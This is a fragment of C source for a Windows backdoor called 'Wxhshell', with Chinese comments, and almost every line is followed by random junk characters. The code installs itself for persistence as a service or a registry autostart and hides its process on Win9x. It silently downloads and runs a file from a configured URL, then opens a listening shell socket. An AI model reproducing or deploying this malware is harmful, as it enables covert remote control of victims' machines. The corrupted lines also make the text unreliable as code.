DWORD ExitStatus; ]-{T-*h:
DWORD PebBaseAddress; -$WiB
DWORD AffinityMask; txr!3-Ne'!
DWORD BasePriority; \@OKB<ra
ULONG UniqueProcessId; )'%L#
ULONG InheritedFromUniqueProcessId; a|?CC/Ra
} PROCESS_BASIC_INFORMATION; . 36'=K
OY~5o&Oa
PROCNTQSIP NtQueryInformationProcess; vWfC!k-)b
WP^%[?S2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UDyvTfh1X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
wSV[nK
_* 4
<
HANDLE hProcess; )#3,y6
PROCESS_BASIC_INFORMATION pbi; f{ S)wE>;
1t!Mg{&e[x
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0; V{yh
if(NULL == hInst ) return 0; Q;r 0#"
7F?^gMi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;
@Gm@d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &$hfAG]"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :CHCVoh@95
XNu2G19jb
if (!NtQueryInformationProcess) return 0; @zfeCxVOA
R52q6y:<x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r(vk2Qy
if(!hProcess) return 0; |hp_X>Uv'
O";r\Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j-
F=5)A
;p\rgam
CloseHandle(hProcess); oL}FD !}
z=)5M*h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "P<~bw5
if(hProcess==NULL) return 0; &B3\;|\
>wcsJ{I
HMODULE hMod; N@)4H2_u \
char procName[255]; C
UBcU
unsigned long cbNeeded; Iobo5B
@gX@mT"
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C?x
uc7np]Z
CloseHandle(hProcess); 5W<BEcV\
zKV{JUpG
if(strstr(procName,"services")) return 1; // 以服务启动 =t)eT0
=Z-.4\ 3
return 0; // 注册表启动 i-E&Y*\^9H
} )J#@L*
62vz 'b
// 主模块 y
I mriCT
int StartWxhshell(LPSTR lpCmdLine) sMO3eNLn
{ _\o +9X!
SOCKET wsl; XyhOd$)
BOOL val=TRUE; B)^]V<l(w
int port=0; 6oUT+^z#
struct sockaddr_in door; 5QmF0z)wR
8CEy#%7]}
if(wscfg.ws_autoins) Install(); A;kAAM
kf5921(P
port=atoi(lpCmdLine); Ii|<:BW
}P}l4k1W
if(port<=0) port=wscfg.ws_port; p3x(:=
;y k@`<
WSADATA data; TR)'I
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QG9 2^
@~gz-l^$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RI*Q-n{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2! wz#EC
door.sin_family = AF_INET; 2N)vEUyDV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); k7W8$8v
door.sin_port = htons(port); n }MG
,9+@\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'w9tZO\2
closesocket(wsl); ',1rW
return 1; &x=<>~Ag3
} ,hOJe=u46
7?hCt
if(listen(wsl,2) == INVALID_SOCKET) { ?on3z
closesocket(wsl); $<33E e:a
return 1; Uc9Uj
} 6K<vyr40
Wxhshell(wsl); =ARI*
WSACleanup(); #),QWTl3
oN _%oc
return 0; {I2j Lc
kc"U)>
} \*_a#4a
t5e(9Yhj
// 以NT服务方式启动 ! B)Em
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vB.LbYyF
{ =~HX/]zF
DWORD status = 0; [;.zl1S<
DWORD specificError = 0xfffffff; z1]RwbA?1
D% 50
serviceStatus.dwServiceType = SERVICE_WIN32; n7{c0;)$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +JQN=nTA
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <w,aS;v6jp
serviceStatus.dwWin32ExitCode = 0; +qS$t
serviceStatus.dwServiceSpecificExitCode = 0; $W0lz#s:
serviceStatus.dwCheckPoint = 0; Jn:GqO
serviceStatus.dwWaitHint = 0; Y,&)%Eo<
jliKMd<?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tp0Tce/
if (hServiceStatusHandle==0) return; 92} ,A`=
!Sw7!h.ut
status = GetLastError(); f'%}{l: ss
if (status!=NO_ERROR) `,7BU??+u
{ +F0M?,
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8H{@0_M
serviceStatus.dwCheckPoint = 0; m$O@+;>l
serviceStatus.dwWaitHint = 0; .+M4Pi
serviceStatus.dwWin32ExitCode = status; }QC:!e,yG
serviceStatus.dwServiceSpecificExitCode = specificError; +*|E%pq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?SQT;C3j(
return; cxmr|-^
} oHa6fi
lv8tS -
serviceStatus.dwCurrentState = SERVICE_RUNNING; bo@1c0
serviceStatus.dwCheckPoint = 0; "kN5AeRg
serviceStatus.dwWaitHint = 0; q+m&V#FT%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -i;#4@^ t
} 7v\OS-
khEHMvVH
// 处理NT服务事件,比如:启动、停止 *?i~AXJm
VOID WINAPI NTServiceHandler(DWORD fdwControl) n
~
=]/
{ Y*7.3 +#
switch(fdwControl) fCF9 3,?$
{ b8`O7@ar
case SERVICE_CONTROL_STOP: ]*v%(IGK
serviceStatus.dwWin32ExitCode = 0; R a9/L
serviceStatus.dwCurrentState = SERVICE_STOPPED; (2a~gQGD
serviceStatus.dwCheckPoint = 0; "2Ye\#BU6
serviceStatus.dwWaitHint = 0; D%BV83S
{ fC81(5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Li7/pUq>}!
} LL:B
H,[
return; U:IQWl C
case SERVICE_CONTROL_PAUSE: 46$5f?Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; `Y'}\>.#
break; $aVcWz%
case SERVICE_CONTROL_CONTINUE: UDxfS4yI
serviceStatus.dwCurrentState = SERVICE_RUNNING; Pu}2%P)p
break; `[`eg<xj
case SERVICE_CONTROL_INTERROGATE: Wk$%0xZ7
break; jI y'mGaG
}; Q4Cw{2r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `VS/Xyp
} (s\Nm_j
58=fT1
B
// 标准应用程序主函数 7j@TW%FmV\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o 0fsM;K
{ s3t{freM
q`qbaX\J3
// 获取操作系统版本 =NlAGzv!w
OsIsNt=GetOsVer(); L-$GQGk{
GetModuleFileName(NULL,ExeFile,MAX_PATH); n!f@JHL
.Z9Bbab:
// 从命令行安装 %40|7O
if(strpbrk(lpCmdLine,"iI")) Install(); <.:B .k
^#_@Kq%th
// 下载执行文件 zR]l2zL3
if(wscfg.ws_downexe) { 1tfm\/V}ho
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R|5w :+=z
WinExec(wscfg.ws_filenam,SW_HIDE); /y
NU0/
} 4S+P]U*jW
WJ/&Ag1
if(!OsIsNt) { /pV^w
// 如果时win9x,隐藏进程并且设置为注册表启动 O~igwFe
HideProc(); t*n!kXa
StartWxhshell(lpCmdLine); $ABW|r
} mGoUF$9 k
else UF0PWpuO
if(StartFromService()) rw58bkh6
// 以服务方式启动 V>z8*28S.
StartServiceCtrlDispatcher(DispatchTable); ky[FNgQ3n
else Uv.{=H:
// 普通方式启动 KZ&8aulP
StartWxhshell(lpCmdLine); 0~"{z>s '
nww,y
return 0; $,bLb5}Qu
}